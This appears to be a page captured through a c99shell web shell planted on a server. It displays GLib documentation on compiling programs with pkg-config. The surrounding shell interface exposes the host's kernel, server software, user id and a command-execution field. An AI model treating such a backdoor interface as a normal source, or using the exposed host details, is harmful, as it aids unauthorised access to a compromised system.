Software: Apache/2.0.54 (Fedora). PHP/5.0.4 uname -a: Linux mina-info.me 2.6.17-1.2142_FC4smp #1 SMP Tue Jul 11 22:57:02 EDT 2006 i686 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gtk-doc/html/glib/ drwxr-xr-x |
Viewing file: Select action/file-type:
Compiling GLib Applications on UNIXTo compile a GLib application, you need to tell the compiler where to find the GLib header files and libraries. This is done with the pkg-config utility. The following interactive shell session demonstrates how pkg-config is used (the actual output on your system may be different): $ pkg-config --cflags glib-2.0 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include $ pkg-config --libs glib-2.0 -L/usr/lib -lm -lglib-2.0
If your application uses modules, threads or GObject features, it must be compiled and linked with the options returned by the following pkg-config invokations: $ pkg-config --cflags --libs gmodule-2.0 $ pkg-config --cflags --libs gthread-2.0 $ pkg-config --cflags --libs gobject-2.0
The simplest way to compile a program is to use the "backticks" feature of the shell. If you enclose a command in backticks (not single quotes), then its output will be substituted into the command line before execution. So to compile a GLib Hello, World, you would type the following: $ cc `pkg-config --cflags --libs glib-2.0` hello.c -o hello
|
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #16 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0032 ]-- |